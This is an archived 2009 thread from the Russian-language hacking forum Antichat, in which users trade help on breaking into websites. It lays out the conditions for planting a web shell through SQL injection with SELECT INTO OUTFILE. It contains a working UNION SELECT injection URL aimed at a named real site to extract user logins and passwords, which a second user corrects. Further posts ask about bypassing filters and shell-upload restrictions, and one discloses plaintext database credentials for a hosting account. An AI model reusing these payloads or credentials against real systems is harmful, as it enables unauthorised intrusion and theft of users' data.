ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
10.05.2009, 10:24
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489
Репутация:
1359
|
|
Сообщение от Rashid
Пасс админа уже есть, но директория site.com/administrator/ закрыта файлом .htaccess, поэтому и спрашиваю про sql-inj
чтобы залить шелл только через sql-inj, нужно
file_priv = Y
magic_quotes_gpc=OFF
иметь директорию,видимую из вэба, на запись.
тогда шелл заливается запросом select into outfile.
|
|
|
09.05.2009, 17:22
|
|
Участник форума
Регистрация: 27.10.2008
Сообщений: 215
Провел на форуме:
810079
Репутация:
90
|
|
Как можно обойти фильтрацию скобок при sql-inj?
Последний раз редактировалось InFlame; 09.05.2009 в 17:26..
|
|
|
|
09.05.2009, 23:29
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638
Репутация:
256
|
|
Сообщение от InFlame
Как можно обойти фильтрацию скобок при sql-inj?
В зависимости от конкретной ситуации и конкретного примера...
|
|
|
|
09.05.2009, 21:31
|
|
Познающий
Регистрация: 21.12.2008
Сообщений: 93
Провел на форуме:
391983
Репутация:
39
|
|
подскажите
может кто-то сталкивался с хостингом mirohost
как мне пробраться к авторизации в phpmyadmin
|
|
|
|
09.05.2009, 23:16
|
|
Познающий
Регистрация: 07.05.2009
Сообщений: 64
Провел на форуме:
418218
Репутация:
59
|
|
Сообщение от crazy~driver
подскажите
может кто-то сталкивался с хостингом mirohost
как мне пробраться к авторизации в phpmyadmin
Вот что у меня получилось выудить у службы поддержки:
phpmyadmin находится в панели управления, раздел управление mysql - mysql менеджер - список пользователей - phpmyadmin
То есть как мне показалось там нету полного интерфейса пхпмайадмина, но это косвенно...
Пока искал твой пхпмайадмин в гугле наткнулся на интересый поддомет этого хостинга:
Код:
http://mirror.mirohost.net/
Что я там обнаружил, от туда можно скачать phpmyadmin oO
Код:
http://mirror.mirohost.net/ubuntu/pool/universe/p/phpmyadmin/
А также различные конфиги похопе, но это если интересует...
|
|
|
|
10.05.2009, 00:06
|
|
Познающий
Регистрация: 21.12.2008
Сообщений: 93
Провел на форуме:
391983
Репутация:
39
|
|
Сообщение от bug1z
Вот что у меня получилось выудить у службы поддержки:
То есть как мне показалось там нету полного интерфейса пхпмайадмина, но это косвенно...
Пока искал твой пхпмайадмин в гугле наткнулся на интересый поддомет этого хостинга:
Код:
http://mirror.mirohost.net/
Что я там обнаружил, от туда можно скачать phpmyadmin oO
Код:
http://mirror.mirohost.net/ubuntu/pool/universe/p/phpmyadmin/
А также различные конфиги похопе, но это если интересует... вот акк на тестовый период и там они дают полную версию так что и на платку по идее должна быть полная версия phpmyadmin
Данные для работы с базой данных MySQL :
mySQL server: localhost
mySQL database: test3serv316
mySQL login: u_test3serv316
mySQL password: RqJt6A0p
phpMyAdmin: http://test3servdb.mirohost.net
|
|
|
|
09.05.2009, 21:36
|
|
Познающий
Регистрация: 21.12.2008
Сообщений: 93
Провел на форуме:
391983
Репутация:
39
|
|
только не тестовому
|
|
|
|
09.05.2009, 22:07
|
|
Познающий
Регистрация: 26.04.2008
Сообщений: 31
Провел на форуме:
31474
Репутация:
53
|
|
помогите разобраться, что делаю не так, почему не выводятся значения?
версия 5
таблица и колонки существуют
Код HTML:
ht*p://zoorinok.com.ua/veterinar.php?id=-1+union+select+1,2,concat_ws(0x3a,users_login,users_pas),4,5+from+sip_zoorinok.USERS+limit+1,1/*
|
|
|
|
09.05.2009, 22:13
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020
Репутация:
1423
|
|
http://zoorinok.com.ua/veterinar.php?id=-1+union+select+1,2,concat_ws(0x3a,cast(users_login +as+binary),cast(users_pas+as+binary)),4,5+from+si p_zoorinok.USERS+limit+1,1/*
|
|
|
|
09.05.2009, 23:00
|
|
Познающий
Регистрация: 22.07.2008
Сообщений: 49
Провел на форуме:
170912
Репутация:
-4
|
|
Всех с 9 Мая
Tакой вопрос , мознали как то на сайт закинут shell ( есть админка ) , тока вот format php нельзя .Можно Ли это как то обойти ?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид